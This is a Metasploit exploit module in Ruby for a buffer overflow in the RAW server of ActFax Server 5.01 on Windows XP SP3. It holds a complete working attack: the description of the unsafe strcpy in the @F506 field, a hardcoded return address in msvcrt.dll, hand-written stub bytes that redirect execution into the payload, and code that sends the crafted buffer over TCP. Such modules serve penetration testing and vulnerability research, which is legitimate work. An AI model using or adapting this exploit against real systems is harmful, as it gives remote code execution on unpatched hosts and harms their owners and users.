ActFax 5.01 – RAW Server Buffer Overflow (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'ActFax 5.01 RAW Server Buffer Overflow', 'Description' => %q{ This module exploits a vulnerability in ActFax Server 5.01 RAW server. The RAW Server can be used to transfer fax messages without any underlying protocols. To note significant fields in the fax being transferred, like the fax number or the recipient, ActFax data fields can be used. This module exploits a buffer overflow in the handling of the @F506 fields due to the insecure usage of strcpy. This module has been tested successfully on ActFax 5.01 over Windows XP SP3 (English). }, 'License' => MSF_LICENSE, 'Author' => [ 'Craig Freyman', # @cd1zz # discovery and Metasploit module 'corelanc0d3r', # Metasploit module 'juan vazquez' # Metasploit module cleanup ], 'References' => [ [ 'OSVDB', '89944' ], [ 'BID', '57789' ], [ 'EDB', '24467' ], [ 'URL', 'http://www.pwnag3.com/2013/02/actfax-raw-server-exploit.html' ] ], 'Platform' => 'win', 'Payload' => { 'BadChars' => (0x00..0x1f).to_a.pack("C*") + "\x40", 'DisableNops' => true, 'Space' => 1024, 'EncoderOptions' => { 'BufferRegister' => 'ECX' } }, 'Targets' => [ [ 'ActFax 5.01 / Windows XP SP3', { 'Ret' => 0x77c35459, # push esp # ret # msvcrt.dll 'Offset' => 1024 } ], ], 'Privileged' => false, 'DisclosureDate' => 'Feb 5 2013', 'DefaultTarget' => 0)) end def exploit connect p = payload.encoded buffer = p buffer << rand_text(target['Offset'] - p.length) buffer << [target.ret].pack("V") buffer << "\x89\xe1" # mov ecx, esp buffer << "\x81\xC1\xFC\xFB\xFF\xFF" # add ecx, -1028 buffer << "\x81\xC4\x6C\xEE\xFF\xFF" # add esp, -4500 buffer << "\xE9\xE9\xFB\xFF\xFF" # jmp $-1042 print_status("Trying target #{target.name}...") sock.put("@F506 "+buffer+"@\r\n\r\n") disconnect end end |